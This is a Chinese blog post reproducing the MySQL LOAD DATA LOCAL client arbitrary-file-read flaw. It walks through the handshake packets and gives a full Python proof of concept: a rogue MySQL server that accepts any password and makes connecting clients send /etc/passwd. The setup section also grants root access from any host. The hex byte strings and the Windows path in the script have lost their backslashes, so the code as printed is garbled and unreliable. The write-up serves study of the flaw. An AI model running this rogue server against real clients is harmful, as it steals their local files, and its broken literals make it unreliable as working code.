• Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)


    环境搭建

    怎么设置Mysql支持外联?

    use mysql; 
    grant all privileges on *.* to 
    root@'%' identified by '密码';   //授权语句
    flush privileges;    //刷新配置
    

    MAC上设置Mysql环境允许外联
     

    use mysql;
    ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';  //这一步是因为有的Mysql客户端是没有mysql_native_password这个模块的防止连接不上
    update user set host = "%" where user = "root";
    flush privileges;
    

    这个只是暂时作为备忘,权当一个知识点,哈哈
     

    漏洞复现

    • LOAD DATA INFILE
    load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
    load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
    

     
    第一种是读取服务器上的文件内容存入表中,第二个是读取客户端中的文件内容存入表中(显然我们应该利用的是第二种)
     

    • 漏洞分析
    使用tcpdump将3306的包内容保存成为cap格式用wireshark打开分析登录过程
    tcpdump  -i lo1  port 3306 -w test.cap. // 这里面要监听本地网卡,一定是本地的,不然抓取的tcp包是空的
    mysql -u root -p
    

    服务端向客户端发送greeting包和服务器的一些banner信息

     
    以及一些设置
     

    显然LOAD DATA LOCAL被设置了
     

    客户端发送登录请求,包含用户名与LOAD DATA LOCAL有关信息

     
    接着发送了一系列的查询请求
     

     
    接着客户端发送一个查询包后,我们返回的是一个Response TABULAR包

    内容是要读取文件的绝对路径
     

    之后再下一个客户端的包中,我们真的可以得到内容

    思路整理

    由分析可知,客户端在连接Mysql服务端的时候,若是在发送查询包后(Mysql连接都时候就会有初始化查询,换句话说只要连接到我们,我们就可以发送Paylaod),我们返回客户端文件的绝对路径,客户端就会把文件内容发送过来(只要我们发送的包是标准的Mysql协议,这些在Mysql的官方文件都是有的).
     

    我本地MAC的Mysql就不行(版本是8.0.17,因为不会发送查询语句)

    用了windows的Phpstudy试了一下,还是可以的

    POC分析(伪造Mysql服务端)

    #!/usr/bin/python
    #coding: utf8
    import socket
    
    # linux :
    #filestring = "/etc/passwd"
    # windows:
    #filestring = "C:Windowssystem32driversetchosts"
    HOST = "0.0.0.0" # open for eeeeveryone! ^_^
    PORT = 3306
    BUFFER_SIZE = 1024
    
    #1 Greeting
    greeting = "x5bx00x00x00x0ax35x2ex36x2ex32x38x2dx30x75x62x75x6ex74x75x30x2ex31x34x2ex30x34x2ex31x00x2dx00x00x00x40x3fx59x26x4bx2bx34x60x00xffxf7x08x02x00x7fx80x15x00x00x00x00x00x00x00x00x00x00x68x69x59x5fx52x5fx63x55x60x64x53x52x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    #2 Accept all authentications
    authok = "x07x00x00x02x00x00x00x02x00x00x00"
    
    #3 Payload
    #数据包长度
    payloadlen = "x0c"
    padding = "x00x00"
    payload = payloadlen + padding +  "x01xfbx2fx65x74x63x2fx70x61x73x73x77x64"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(1)
    
    while True:
        conn, addr = s.accept()
    
        print 'Connection from:', addr
        conn.send(greeting)
        while True:
            data = conn.recv(BUFFER_SIZE)
            print " ".join("%02x" % ord(i) for i in data)
            conn.send(authok)
            data = conn.recv(BUFFER_SIZE)
            conn.send(payload)
            print "[*] Payload send!"
            data = conn.recv(BUFFER_SIZE)
            if not data: break
            print "Data received:", data
            break
        # Don't leave the connection open.
        conn.close()
    

     
     

    • 第一步
    客户端发送请求数据包
    服务端发送Mysql的Greet与banner信息
    

    看一看关于脚本是怎么构造的

    greeting = "x5bx00x00x00x0ax35x2ex36x2ex32x38x2dx30x75x62x75x6ex74x75x30x2ex31x34x2ex30x34x2ex31x00x2dx00x00x00x40x3fx59x26x4bx2bx34x60x00xffxf7x08x02x00x7fx80x15x00x00x00x00x00x00x00x00x00x00x68x69x59x5fx52x5fx63x55x60x64x53x52x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    

    可以看见服务器这边是直接写死的东西(伪造的是Ubuntu主机).
     
    另外这个greeting的包是有一定格式的,这里面直接粘贴的是大佬们的格式
     

    • 第二步
    客户端发送认证请求(用户名与密码)
    这里面我们当然要保证无论输入什么密码都是可以的
    

     
    这个是脚本中的认证成功后发送的包

    authok = "x07x00x00x02x00x00x00x02x00x00x00"
    
    • 之后就等待用户发送query包,我们返回请求客户端文件的paylaod语句

    值得一提这个包是有一定格式的
     
    我们在wireshark中可以看到
     

    至于为什么是12个字节(/etc/passwd是11个字节),猜测是后面有x00的存在
     

    • 第四步获取到信息

    没啥好说的直接输出就行了

    利用的exp

     
     
    https://github.com/Gifts/Rogue-MySql-Server
     
    原本是想自己写的,但是emmmm,不说了,写了好久还没有写出来

  • 相关阅读:
    JavaScript 面向对象
    javascript中this的指向
    销售
    Java垃圾回收机制
    判断浏览器是否缩放
    pattern space and hold space of sed
    语言基础
    Python中PyQuery库的使用总结
    多个计数器在Vuex中的状态
    Sklearn
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Mysql-LOAD-DATA-du-qu-ke-hu-duan-ren-yi-wen-jian-l.html
Copyright © 2020-2023  润新知